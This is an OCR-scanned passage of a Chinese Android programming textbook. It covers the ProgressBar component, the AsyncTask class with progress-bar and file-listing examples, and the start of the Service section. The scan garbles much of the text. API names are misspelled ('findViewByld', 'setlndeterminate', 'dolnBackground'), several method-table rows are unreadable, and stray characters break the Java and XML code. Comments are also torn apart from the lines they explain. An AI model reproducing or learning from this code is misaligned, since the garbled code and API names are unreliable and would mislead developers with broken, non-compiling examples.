在 第 7 章 曾 经 讲解 过 ProgressDialog 组 件 ， 与 此 组 件 对 应 的 还 有 ProgressBar 组 件 ， 其 主要 
功能 也 是 用 于 显示 操作 进度 ， 但 是 ProgressDialog 组 件 是 在 运行 时 通过 Activity 程序 生成 的 ， 而 
ProgressBar 组 件 是 直接 在 Layout 布局 中 添加 的 。ProgressBar 类 的 继承 结构 如 下 : 

java.lang.Object 


b android.view.View 


b android.widget.ProgressBar 
ProgressBar 类 是 View 类 的 子 类 ， 其 常用 操作 方法 如 表 9-17 所 示 。 
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表 9-17 ProgressBar 类 的 常用 方法 
描 ” 述 
创建 ProgressBar 对 象 


No. 方法 
1 public ProgressBar(Context context) 


取得 进度 条 设置 的 最 


2 public synchronized int getMaxO0 大 值 


3 public synchronized int getProgress() 取得 当前 进度 


public synchronized int 取得 第 二 进度 条 的 当 
getSecondaryProgress() 前 进度 

public final synchronized void 设置 第 一 进度 条 的 每 
incrementProgressBy(int diff) 次 增长 值 

public final synchronized void 设置 第 二 进度 条 的 每 
incrementSecondaryProgressBy(int dif) 次 增长 值 
public synchronized void setIndeterminate 设置 进度 条 的 确定 或 

® android:indeterminate 


(boolean indeterminate) 不 确定 状态 


设置 进度 增长 的 最 
dant 大 值 = 
bli hronized void setPr int Si 
9 Ee et We android:progress 设置 当前 进度 

ey 


ublic synchronized void ed 
ee 设置 第 二 进度 条 的 当 
10 |setSecondaryProgress(int android:secondaryProgress 前 进度 


。 设置 进度 条 的 可 见 
11 |public void setVisibility(int v) 普通 | android:visibility 后 二 


在 表 9-17 所 示 的 方法 中 , 对 于 当前 进度 有 两 种 设置 方法 : 一 种 是 设置 第 一 进度 条 (setProgress()); 
另外 一 种 是 设置 第 二 进度 条 (setSecondaryProgress()) ， 这 两 种 进度 条 的 区 别 如 图 9-37 所 示 。 


图 9-37 第 一 进度 条 和 第 二 进度 条 的 区 别 
另外 ， 在 ProgressBar 中 还 存在 一 个 setmdeterminate() 方 法 ， 表 示 进 度 条 是 否 为 确定 状态 ， 


该 方法 较 难 理解 ， 读 者 可 以 直接 参考 图 9-38 的 说 明 。 


确定 模式 : setIndeterminate(true) 


ee 


不 确定 模式 : setindeterminate(false) 


图 9-38 ”setIndeterminate0 方 法 的 使 用 
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/提示 


关于 public void setVisibility(int V) 方 法 的 操作 。 

在 ProgressBar 类 中 ，setVisibility() 方 法 的 主要 功能 是 设置 进度 条 是 否 可 见 ， 对 于 组 件 的 
显示 状态 ， 可 以 直接 通过 View 类 中 的 以 下 两 个 常量 控制 。 

回 组 件 可 见 : public static final int VISIBLE。 

回 组 件 不 可 见 〈 隐 藏 ) : public static final int GONE。 


另外 , 在 布局 管理 文件 中 定义 ProgressBar 组 件 时 还 需要 设置 进度 条 的 显示 形式 ， 可 通过 style 
属性 进行 配置 ， 而 可 以 配置 的 属性 如 表 9-18 所 示 。 


表 9-18 进度 显示 形式 


属 性 
android:progressBarStyle 


描 ” 述 
默认 风格 的 进度 条 
水 平 长 形 进度 条 
大 圆 形 进度 条 
android:progressBarStyleSmall 小 圆 形 进度 条 
例如 ， 如 果 希 望 进度 条 采用 水 平 形式 显示 ， 则 在 布局 管理 器 中 配置 如 下 : 
style="?android:attr/progressBarStyleHorizontal" 
下 面 将 在 程序 中 定义 多 个 ProgressBar 组 件 ， 以 观察 不 同 进 度 条 的 展现 形式 。 
【 例 9-55】 在 main.xml 文件 中 定义 多 个 进度 条 组 件 


<?xml version="1.0" encoding="utf-8"?> 


android:progressBarStyleHorizontal 


android:progressBarStyleLarge 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="Vertica/" // 垂 直 排列 所 有 组 件 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ProgressBar // 进 度 条 组 件 


android:id="@+id/myprobarA”" 
style="?android:attr/progressBarStyle” 
android:visibility="gone” 
android:layout_width="fill_parent” 
android:layout_height="wrap_content"/> 


<ProgressBar 


android:id="@+id/myprobarB”" 
style="?android:attr/progressBarStyleHorizontal" 
android:visibility="gone”" 
android:layout_width="fill_parent" 
android:layout_height="wrap_content"/> 


<ProgressBar 


android:id="@+id/myprobarC”" 
style="?android:attr/progressBarStyleHorizontal” 
android:visibility="gone”" 

android:max="120" 

android:progress="0" 
android:layout_width="fil_parent” 


/组 件 ID， 程 序 中 使 用 
/定义 进度 条 显示 形式 
/组 件 隐藏 

// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 显示 高 度 
/进度 条 组 件 

/组件 ID， 程序 中 使 用 
/定义 进度 条 显示 形式 
/组 件 隐藏 
/组件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 显示 高 度 
// 进 度 条 组 件 

// 组 件 ID， 程 序 中 使 用 
/定义 进度 条 显示 形式 
/组件 隐藏 
/设置 最 大 进度 值 
/设置 当前 进度 值 

// 组 件 宽度 为 屏幕 宽度 
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android:secondaryProgress="70" 
style="?android:attr/progressBarStyleLarge” 


android:layout_height="wrap_content"/> // 组 件 高 度 为 显示 高 度 
<ProgressBar /进度 条 组 件 
android:id="@+id/myprobarD”" // 组 件 ID， 程 序 中 使 用 
android:visibility="gone” // 组 件 隐藏 
android:max="120" // 设 置 最 大 进度 值 
android:progress="50" /设置 当前 进度 值 


/设置 第 二 进度 条 当前 值 
/定义 进度 条 显示 形式 


android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> 1/ 组件 高 度 为 显示 高 度 
<ProgressBar // 进 度 条 组 件 
android:id="@+id/myprobarE”" // 组 件 ID， 程 序 中 使 用 
android:visibility="gone” /组 件 隐藏 
android:max="120" // 设 置 最 大 进度 值 
android:progress="50" // 设 置 当前 进度 值 
android:secondaryProgress="70" // 设 置 第 二 进度 条 当前 值 
style="?android:attr/progressBarStyle Small" // 定 义 进度 条 显示 形式 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> 1/ 组 件 高 度 为 显示 高 度 
<Button // 定 义 按钮 组 件 
android:id="@+id/mybut”" // 组 件 ID， 程 序 中 使 用 
android:text= "时 元 迹 度 敌 " // 默 认 显示 文字 
android:layout_width="wrap_content”" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 


</LinearLayout> 
本 程序 共 定义 了 5 个 进度 条 组 件 (ProgressBar) 和 一 个 按钮 组 件 (Button) ， 每 种 进度 条 有 


不 同 的 显示 风格 ， 并 且 设 置 了 不 同 的 当前 进度 progress〉， 但 都 默认 为 隐藏 状态 ， 而 当 单 击 按 
钮 时 ， 会 将 所 有 的 组 件 设置 为 显示 状态 并 开始 进行 进度 的 增长 。 
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【 例 9-56】 定义 Activity 程序 ， 控 制 进度 组 件 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Handler; 
import android.os.Message; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
import android.widget.ProgressBar; 
public class MyProgressBarDemo extends Activity { 
private ProgressBar myprobarA, myprobarB, myprobarC, myprobarD, myprobarE; 


private Button mybut:; /控制 按钮 
protected static final int STOP = 1; /停止 消息 
protected static final int CONTINUE = 2; // 继 续 消息 


@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.myprobarA = (ProgressBar) this.findViewByld(R.id.myprobarA);// 取 得 进度 条 
this.myprobarB = (ProgressBar) this .findViewByld(R.id.myprobarB);// 取 得 进度 条 
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this.myprobarC = (ProgressBar) this.findViewByld(R.id.myprobarC); /取得 进度 条 
this.myprobarD = (ProgressBar) thisfindViewByld(R.id.myprobarD); /取得 进度 条 
this.myprobarE = (ProgressBar) this.findViewByld(R.id.myprobarE);// 取 得 进度 条 


this.mybut = (Button) this findViewByld(R.id.mybut); // 取 得 按钮 
this.myprobarA.setindeterminate(false); /确定 不 确定 模式 
this.myprobarB.setlndeterminate(false): // 确 定 不 确定 模式 
this.myprobarC.setindeterminate(true); // 确 定 确定 模式 
this.myprobarD.setlndeterminate(false); // 确 定 不 确定 模式 
this.myprobarE.setlndeterminate(false); // 确 定 不 确定 模式 
this.mybut.setOnClickListener(new OnClickListenerlImpl()) ; // 设 置 单 击 事件 


} 


private class OnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View v) { 


// 单 击 事件 


MyProgressBarDemo.this.myprobarB.setSecondaryProgress(0); 。 // 第 二 进度 条 
MyProgressBarDemo.this.myprobarA.setVisibility(View.VISIBLE);”// 组 件 可 见 
MyProgressBarDemo.this.myprobarB.setVisibility(View.VISIBLE);”// 组 件 可 见 
MyProgressBarDemo.this.myprobarC.setVisibility(View.VISIBLE);”// 组 件 可 见 
MyProgressBarDemo.this.myprobarD.setVisibility(View.VISIBLE);”// 组 件 可 见 
MyProgressBarDemo.this.myprobarE.setVisibility(View.VISIBLE);”// 组 件 可 见 
MyProgressBarDemo.this.myprobarA.setMax(120); /设置 最 大 值 
MyProgressBarDemo .this.myprobarB.setMax(120); /设置 最 大 值 
MyProgressBarDemo .this.myprobarA.setProgress(0); 。 // 设 置 当前 值 
MyProgressBarDemo.this.myprobarB.setProgress(0); 。 // 设 置 当前 值 

new Thread(new Runnable() { 


public void run() { /| 线程 主体 
int count = 0; // 用 于 保存 当前 进度 值 
for (inti=0;i<10;i++){ /循环 设置 内 容 
try{ 
count = (i+ 1) * 20; /设置 进度 条 当前 值 
Thread.sleep(500); /休眠 0.5 秒 
if(i==6){ // 如 果 为 6, 则 进度 为 120 
Message m = new Message(); /定义 消息 
m.what = MyProgressBarDemo.STOP; /消息 代码 
MyProgressBarDemo.this.myMessageHandler 
.sendMessage(m); /发 送 消息 
break: /循环 中 断 
}else{ 
Message m = new Message(); /定义 消息 
m.arg1 = count; /设置 参数 
m.what = MyProgressBarDemo.CONTINUE:; /消息 代码 
MyProgressBarDemo.this.myMessageHandler 
.sendMessage(m); /发 送 消息 
} 
} catch (Exception ex) { // 处 理 sleep() 异 常 
ex.printStackTrace(); 
y 
jj 
1 
)).start(); /启动 线程 
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上 
} 
private Handler myMessageHandler = new Handler() { // 共 用 一 个 Handler 
@Override 
public void handleMessage(Message msg) { 
switch (msg.what) { // 判 断 消息 类 型 
case MyProgressBarDemo.STOP: // 停 止 记 录 
myprobarA.setVisibility(View.GONE); /组件 不 可 见 
myprobarB.setVisibility(View.GONE); /组件 不 可 见 
myprobarC.setVisibility(View.GONE); /组 件 不 可 见 
myprobarD.setVisibility(View.GONE); // 组 件 不 可 见 
myprobarE.setVisibility(View.GONE); 1/ 组 件 不 可 见 
Thread.currentThread().interrupt(); // 组 件 不 可 见 
break; 
case MyProgressBarDemo.CONTINUE: // 组 件 增长 
if (IThread.currentThread().isinterrupted()) { 
myprobarA.setProgress(msg.arg1); 1/ 设置 当前 进度 
myprobarB.setProgress(msg.arg1); /设置 当前 进度 
myprobarC.setProgress(msg.arg1); /设置 当前 进度 
myprobarD.setProgress(msg.arg1); /设置 当前 进度 
myprobarE.setProgress(msg.arg1); /设置 当前 进度 
b 
break; 
| 
} 
} 


} 


本 程序 首先 通过 findViewById0 方 法 分 别 取 得 了 5 个 进度 条 组 件 ， 其中， 有 两 个 进度 条 组 件 
定义 为 水 平 显示 形式 (其 中 一 个 定义 为 确定 


模式 ) ， 而 后 通过 一 个 线程 对 象 启动 所 有 


的 


进度 条 组 件 进行 显示 , 由 于 进度 条 要 与 主线 
程 保持 一 致 ， 所 以 使 用 一 个 Handler 对 象 进 


行 处 理 , 而 此 时 的 主线 程 和 子 线程 共用 了 


-个 Handler 对 象 ， 那 么 在 子 线程 中 就 志 


同 
以 


对 主线 程 的 组 件 进行 状态 刷新 的 操作 , 若 传 
递 的 消息 类 型 为 CONTINUE， 则 表示 进行 
进度 值 的 增长 操作 ， 而 如 果 消 息 类 型 为 


STOP， 则 表示 进度 停止 增长 ， 并 将 所 有 


的 


进度 条 设置 为 不 可 见 状 态 , 程序 的 运行 效果 


如 图 9-39 所 示 。 


9.5.6 ”异步 处 理工 具 类 : AsyncTask 


I 5554:Android_2.3 x| 
甘 虽 | 击 11:00 


图 9-39 ”启动 进度 条 


通过 以 上 章节 的 学 习 ， 读 者 应 该 已 经 清楚 主线 程 和 子 线程 之 间 的 通信 主要 依靠 Handler 完 
成 ， 但 子 线程 无 法 直接 对 主线 程 的 组 件 进行 更 新 ， 而 且 如 果 所 有 的 开发 都 分 别 定义 若干 个 子 线 
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程 的 操作 对 象 , 则 这 多 个 对 象 同时 对 主线 程 操作 就 会 非常 麻烦 , 为 了 解决 该 问题 , 在 Android 1.5 
之 后 专门 提供 了 一 个 android.os.AsyncTask (直译 为 非 同步 任务 ) 类 ， 可 以 通过 此 类 完成 非 阻塞 
的 操作 类 。 该 类 的 功能 与 Handler 类 似 ， 可 以 在 后 台 进行 操作 之 后 更 新 主线 程 的 UI， 但 其 使 用 
方式 要 比 Handler 容易 许多 。 

android.os.AsyncTask 类 的 继承 关系 如 下 : 

java.lang.Object 


b android.os.AsyncTask<Params, Progress, Result> 
通过 此 类 的 定义 可 以 发 现 ， 在 AsyncTask 类 中 要 通过 泛 型 指定 3 个 参数 ， 这 3 个 参数 的 作 
用 如 下 。 
Params: 启动 时 需要 的 参数 类 型 ， 如 每 次 操作 的 休眠 时 间 为 Integer。 
Progress: 后 台 执 行 任务 的 百分比 ， 如 进度 条 需要 传递 的 是 Integer。 
Result: 后 台 执行 完毕 之 后 返回 的 信息 ， 如 完成 数据 信息 显示 传递 的 是 String。 
在 android.os.AsyncTask 类 中 定义 的 常用 方法 如 表 9-19 所 示 。 


表 9-19 android.os.AsyncTask 类 的 常用 方法 


No. 方 。 法 | 类 “型 | 描述 


和 public final boolean caneeltboolean 普通 “| 指定 是 否 取消 当前 线程 操作 
mayInterruptIfRunning) 


public final AsyncTask<Params, Progress, 执行 AsyncTask 操作 


Result> execute(Params... params, 


3_|public final boolean isCancelled0) 判断 子 线程 是 否 被 取消 
protected final void publishProgress 普通 “| 更 新 线程 进度 


(Progress...values) 


protected abstract Result doInBackground 在 后 台 完 成 任务 执行 , 可 以 调用 publishProgressO 


5 普通 | 

(Params... params) 方法 更 新 线程 进度 
6 no 在 主线 程 中 执行 ， 用 于 显示 任务 的 进度 
7 |protected void onPreExecute() 普通 ”| 在 主线 程 中 执行 ， 在 doInBackground0 之 前 执行 
8 | peteenoll voiil onpostezool tien mil 在 主线 程 中 执行 ， 方 法 参数 为 任务 执行 结果 
9 |protected void onCancelledO 主线 程 中 执行 ， 在 cancel0 方 法 之 后 执行 


下 面 使 用 AsyncTask 类 完成 一 个 进度 条 的 增长 处 理 , 之 前 的 操作 是 通过 Handler 传递 子 线程 
的 状态 , 而 且 操作 中 要 通过 Message 进行 消息 的 传递 这样 的 实现 非常 麻烦 ， 而 使 用 AsyncTask 
类 可 以 较 容易 地 完成 。 
【 例 9-57】 定义 布局 文件 一 一 main xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout /线性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertica/" /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ProgressBar /进度 条 组 件 
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android:id="@+id/bar" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
style="?android:attr/progressBarStyleHorizontal” /> 
<TextView 
android:id="@+id/info”" 
android:layout_width="fill_parent" 
android:layout_height="wrap_content”" /> 
</LinearLayout> 
【 例 9-58】 定义 Activity 程序 ， 显 示 进 度 条 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.AsyncTask; 
import android.os.Bundle; 
import android.widget.ProgressBar; 
import android.widget. TextView; 
public class MyAsyncTaskDemo extends Activity { 
private ProgressBar bar = null; 
private TextView info = null; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.bar = (ProgressBar) super .findViewByld(R.id.ban); 
this.info = (TextView) super .findViewByld(R.id.info); 
ChildUpdate child = new ChildUpdate() ; 
child.execute(100) ; 


} 


/组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
/组 件 高 度 为 显示 高 度 
// 水 平 风格 进度 条 

// 文 本 显示 组 件 

1/ 组件 ID， 程序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 


// 进 度 条 组 件 
// 文 本 显示 组 件 


// 调 用 布局 管理 器 
// 取 得 组 件 

// 取 得 组 件 

// 子 任务 对 象 

// 为 休眠 时 间 


private class ChildUpdate extends AsyncTask<Integer, Integer, String> { 


@Override 

protected void onPostExecute(String result) { 
MyAsyncTaskDemo.this .info.setText(result) ; 

} 

@Override 

protected void onProgressUpdate(Integer... progress) { 


// 任 务 执行 完 后 执行 


// 设 置 文本 


// 每 次 更 新 之 后 的 数值 


MyAsyncTaskDemo.this.info.setText(" 当 前 进度 是 :" 


+ String.valueOAprogress[0])); 
} 
@Override 
protected String dolnBackground(Integer... params) { 
for (int x = 0; x < 100; x++){ 
MyAsyncTaskDemo.this.bar.setProgress(x); 
this.publishProgress(x); 
try{ 
Thread. sleep(params[0]); 
}catch (InterruptedException e) { 
e.printStackTrace(); 
4 


// 更 新 文本 信息 


// 处 理 后 台 任 务 
/进度 条 累加 
/设置 进度 


/传递 每 次 更 新 的 内 容 


// 延 缓 执行 
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return "执行 完毕 。"; // 返 回执 行 结果 
1 
} 


} 
本 程序 在 内 部 定义 了 一 个 ChildUpdate 类 ， 此 类 继承 自 AsyncTask 类 ,目的 是 进行 子 线程 也 
操作 , 在 ChildUpdate 类 中 分 别 覆 写 了 onPostExecute() (任务 完成 之 后 处 理 ) 、onProgressUpdate() 
(更 新 任务 进度 ) 和 doInBackground()( 执 行 子 任务 ) 方法 ， 主 要 的 操作 是 在 doInBackground() 
方法 中 ， 此 方法 中 的 参数 (params) 是 通过 child.execute(100) 调 用 时 传递 进来 的 ， 表 示 每 次 休眠 
0.1 秒 ， 程 序 的 运行 效果 如 图 9-40 所 示 。 


本 


提示 

此 时 的 程序 可 以 在 子 任务 〔( 子 线程 ) 中 更 新 主线 程 组 件 。 

通过 本 程序 可 以 发 现 ， 在 子 任务 类 ( ChildUpdate ) 中 可 以 直接 对 文本 组 件 进行 更 新 ( 在 
onProgressUpdate() 和 OnPostExecute() 方 法 中 完成 ) ， 而 这 一 操作 在 之 前 依靠 Handler 和 Message 
处 理 时 是 难以 实现 的 。 这 里 需要 注意 的 是 ，doInBackground() 只 能 负责 子 线程 任务 的 执行 ， 而 
无 法 更 新 主线 程 的 组 件 ， 这 也 就 是 为 什么 要 在 doInBackground() 方 法 中 执行 publishProgress() 
的 原因 ， 当 执行 publishProgress() 方 法 后 会 将 相应 的 更 新 状态 传递 给 onProgressUpdate() 方 法 ， 
之 后 就 可 以 通过 onProgressUpdate() 方 法 进行 主线 程 的 组 件 更 新 了 。 
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图 9-40 使 用 AsyncTask 更 新 进度 条 
完成 本 程序 之 后 ， 下 面 再 使 用 AsyncTask 完成 一 个 更 加 复杂 的 操作 : 直接 列 出 手机 中 的 文 
件 及 文件 夹 的 信息 。 


ez 


提示 

关于 本 程序 基本 实现 的 说 明 。 

本 程序 将 直接 利用 javaio File 类 完成 操作 ， 如 果 对 此 概念 不 熟悉 ， 可 以 参考 《名 师 讲坛 一 一 
Java 开发 实战 经 典 》 第 12 章 的 内 容 。 


【 例 9-59】 定义 布局 文件 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android™" 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ListView /ListView 组 件 

android:id="@+id/list" 1/ 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
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android:layout_height="wrap_content” /> // 组 件 高 度 为 显示 高 度 
</LinearLayout> 


在 此 布局 文件 中 ， 定 义 了 一 个 ListView 组 件 ， 主 要 目的 是 可 以 列表 显示 出 所 有 文件 及 文件 
夹 的 信息 。 为 了 更 好 地 进行 信息 的 显示 ， 下 面 再 定义 一 个 列表 风格 的 显示 布局 文件 。 

【 例 9-60】 定义 ListView 显示 文件 一 一 file_ list.xml 

<?xml version="1.0" encoding="utf-8"?> 


<TableLayout // 表 格 布局 管理 器 
android:layout_width="fill_parent” // 表 格 宽度 为 屏幕 宽度 
xmlins:android="http:/schemas.android.com/apK/res/android" 
android:layout_height="wrap_content”> // 表 格 高 度 为 内 容 高 度 
<TableRow> // 表 格 行 

<ImageView // 图 片 组 件 
android:id="@+id/img”" 1/ 组件 ID， 程序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 图 片 高 度 

<TextView // 文 本 显示 组 件 
android:id="@+id/hname” // 组 件 ID， 程 序 中 使 用 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
android:layout_width="180px"/> // 组 件 宽度 为 180 像素 

</TableRow> 

</TableLayout> 


【 例 9-61】 定义 Activity 程序 ， 进 行列 表 操 作 〈 因 程序 较 长 ， 采 用 分 段 列 出 讲解 的 形式 
package org.Ixh.demo; 
import java.io.File; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.os.AsyncTask; 
import android.os.Bundle; 
import android.view.View; 
import android.widget.AdapterView; 
import android.widget.AdapterView.OnltemClickListener; 
import android.widget.ListView'; 
import android.widget.SimpleAdapter; 
public class MyAsyncTaskListFileDemo extends Activity { 
private List<Map<String, Object>> allFileltems = 


new ArrayList<Map<String, Object>>() ; /保存 所 有 的 文件 信息 
private SimpleAdapter simple = null; /定义 适配器 类 
private ListView fileList = null ; /lListView 组 件 
private ListFileThread ft = null ; /文件 列表 操作 线程 


本 程序 首先 定义 了 几 个 与 ListView 列表 有 关 的 属性 (SimpleAdapter、List、ListView) ， 而 
后 又 定义 了 一 个 线程 操作 的 列表 程序 对 象 〈ListFileThread) ， 而 之 后 根据 指定 的 路 径 ， 使 用 线 
程 列 表 操 作对 象 将 所 有 的 显示 内 容 设 置 到 ListView 中 进行 显示 。 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
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super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this fileList = (ListView) super.findViewByld(R.id./ist) ; // 取 得 组 件 
File filePath = new File(java.io.File.separaton); // 从 根 目录 下 列 出 
this.ft = new ListFileThread() ; // 定 义 子 任务 
this .ft.execute(filePath) ; // 传 递 File 
this .fileList.setOnltemClickListener(new OnltemClickListenerImpl());// 设 置 事件 
} 
private class OnltemClickListenerImpl implements OnltemClickListener { 
@Override 
public void onltemClick(AdapterView<?> adapter, View view, int position, 
long id){ // 单 击 事件 
File currFile = (File) MyAsyncTaskListFileDemo.this.allFileltems.get( 
position).get("name"); // 取 得 选中 选项 
if (currFile.isDirectory()) { // 给 定 路 径 是 文件 夹 
MyAsyncTaskListFileDemo.this.allFileltems = 
new ArrayList<Map<String, Object>>(); // 新 列表 
ListFileThread ft = new ListFileThread(); // 实 例 化 线程 对 象 
ft.execute(currFile); // 重 新 列 出 
} 
} 


在 本 段 程序 中 ， 首 先 分 别 取 得 了 各 个 定义 的 组 件 ， 之 后 定义 了 一 个 选项 的 单 击 事件 ， 这 样 
做 的 目的 是 可 以 一 直 向 下 列 出 所 有 的 文件 和 文件 夹 的 操作 ， 但 是 在 每 次 重新 列 出 时 需要 重新 实 
例 化 allFileItems 集合 ， 将 新 的 选项 数据 保存 到 此 集合 中 ， 而 且 每 次 都 重新 开始 一 个 新 的 子 任务 
执行 〈ft.execute(currFile)) 。 

private class ListFileThread extends AsyncTask<File,File,String> { // 子 任务 类 


@Override 
protected void onProgressUpdate(File... values) { // 更 新 进度 
Map<String, Object> fileltem = new HashMap<String, Object>(); 
if (values[Ol].isDirectory()) { /为 目录 
fileltem.put("img", R.drawable.fo/der_close); // 设 置 文件 夹 图 标 
}else{ 
fileltem.put("img", R.drawable.file); // 设 置 文件 图 标 
} 
fileltem.put("name", values[0]); /保存 File 对 象 


MyAsyncTaskListFileDemo.this.allFileltems.add(fileltem) ; /向 集合 中 保存 
MyAsyncTaskListFileDemo.this.simple = new SimpleAdapter( 


MyAsyncTaskListFileDemo .this， /将 数据 包装 
allFileltems, /数据 集合 
R.layout.file_list, // 显 示 的 布局 管理 器 
new String[] { "img", "name"}, // 匹 配 Map 集合 key 
new int[] { R.id.img, R.id.name}) ; /设置 显示 数据 


MyAsyncTaskListFileDemo.this fileList. 
setAdapter(MyAsyncTaskListFileDemo.this.simple) ; /显示 数据 
} 
@Override 
protected String dolnBackground(File... params) { 
/设置 一 个 选项 ， 可 以 回 到 上 一 级 目录 
if(!Iparams[0].getPath().equals(java.io.File.separaton){ // 不 是 根 目录 
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Map<String, Object> fileltem = new HashMap<String, Object>(); 


fileltem.put("img", R.drawable.folder_open); // 定 义 图 片 
fileltem.put("name", params[0].getParentFile()); // 定 义 File 对 象 
MyAsyncTaskListFileDemo.this.allFileltems.add(fileltem) ; // 保 存 选项 
} 
if (params[0l].isDirectory()) { // 路 径 是 目录 
File tempFile[] = params[0].listFiles(); // 列 出 全 部 内 容 
if (tempFile (= null) { 
for (int x = 0; x < tempFile.length; x++) { /循环 列 出 
this.publishProgress(tempFile[x]); 
} 
} 
} 
return "文件 已 列 出 " ; 


} 
} 


} 

在 本 程序 中 ， 子 任务 类 (ListFileThread) 中 只 绪 写 了 两 个 方法 。 

回 doImBackground0: 主要 负责 后 台 任 务 的 操作 ， 读 取出 指定 文件 夹 中 的 全 部 内 容 ， 之 后 
将 这 些 数据 交 给 onProgressUpdate0 方 法 进行 处 理 。 

回 onProgressUpdate(0): 负责 将 doInBackgroud0 方 法 传递 的 File 对 象 进行 显示 ， 在 本 方法 
中 将 取得 的 File 对 象 进行 列表 输出 ， 如 果 是 文件 夹 则 显示 文件 夹 的 图 标 ， 如 果 是 文件 
则 显示 文件 的 图 标 。 

由 于 doInBackgroud0 方 法 无 法 直接 操作 主线 程 中 的 组 件 ， 所 以 所 有 主线 程 中 组 件 的 更 新 操 

作 都 将 由 onProgressUpdate() 方 法 完成 ， 程 序 的 运行 效果 如 图 9-41 所 示 。 


和 全。 坟 意 

无 法 取得 Root。 

使 用 过 Android 手机 的 读者 应 该 清楚 , 在 Android 中 的 foot 文件 夹 是 无 法 直接 取得 并 进行 
操作 的 ， 所 以 本 程序 中 是 无 法 列 出 root 文件 夹 中 内 容 的 ， 如 果 有 需要 ， 可 以 使 用 一 些 软件 获 
得 root 访 问 权 限 ， 但 此 部 分 不 属于 本 书 的 讲解 范畴 ， 有 兴趣 的 读者 可 以 自行 查阅 相关 资料 。 


图 9-41 列 出 系统 文件 和 文件 夹 
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96 Service 


在 Android 系统 开发 中 ，Service 是 一 个 重要 的 组 成 部 分 。 如 果 某 些 程序 是 不 希望 用 户 看 见 
的 ， 那么 可 以 将 这 些 程序 定义 在 Service 中 ， 这 样 就 可 以 完成 程序 的 后 台 运行 (也 可 以 在 不 显示 
界面 的 形式 下 运行 ) ， 即 Services 实际 上 相当 于 是 一 个 没有 图 形 界面 的 Activity 程序 ， 而 且 当 用 
户 要 执行 某 些 操作 需要 进行 跨 进程 访问 时 ， 也 可 以 使 用 Service 来 完成 。 


9.6.1 Service 的 基本 组 成 


Service 是 一 个 没有 UI 界面 的 操作 组 件 ， 主 要 功能 是 为 Activity 程序 提供 一 些 必要 的 支持 ， 
如 手机 中 的 MP3 播放 软件 等 ， 当 回 到 主 界面 时 这 些 组 件 依然 可 以 运行 ， 这 些 就 属于 Service 的 
功能 。 在 开发 时 ,用 户 只 需要 继承 android.app.Service 类 就 可 以 完成 Service 程序 的 开发 。 在 Service 
中 也 有 自己 的 生命 周期 方法 及 常量 ， 如 表 9-20 所 示 。 


表 9-20 Service Te 
描述 


方法 及 常 
blic static final int START 
常量 继续 执行 Service 
CONTINUATION MASK 
public static final int START STICKY 用 于 显 式 地 启动 和 停止 Service 
public abstract IBinder | intent) rm 设置 Activity 和 Service 之 间 的 绑 定 


[pievoidonciedie) | Void onCreatel | 普通 | 当 -个 Service 创建 时 调用 


blic int onStartCommand(Intent intent int 
Ps en ee 
flags, int startId 
Service 销毁 时 调用 ， 由 stopService() 方 
public void onDestroyO 法 发 0 


在 表 9-20 中 可 以 发 现 ，onBind() 方 法 为 一 个 抽象 方法 ， 所 以 在 子 类 中 必须 履 写 ， 此 方法 主 
要 是 在 Activity 和 Service 之 间 绑 定 使 用 ， 而 要 想 完成 绑 定 的 操作 ， 还 需要 android.content. 
ServiceConnection 接口 的 支持 ， 这 一 点 随后 会 为 读者 讲解 。 


了 提示 

关于 onStart0 方 法 。 

在 Service 类 中 还 定义 了 一 个 onStart() 方 法 ， 此 方法 也 是 启动 一 个 Service 时 调用 ,但 已 
被 TS 法 所 取代 。 


如 果 要 实现 Service 的 操作 ,除了 掌握 Service 类 中 的 几 个 核心 操作 方法 之 外 ， 还 需 要 Aetivily 
类 中 的 方法 支持 ， 这 些 操作 方法 如 表 9-21 所 示 。 
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表 9-21 Activity 类 中 操作 Service 的 方法 


public ComponentName startService(Intent service) 普通 启动 一 个 Service 
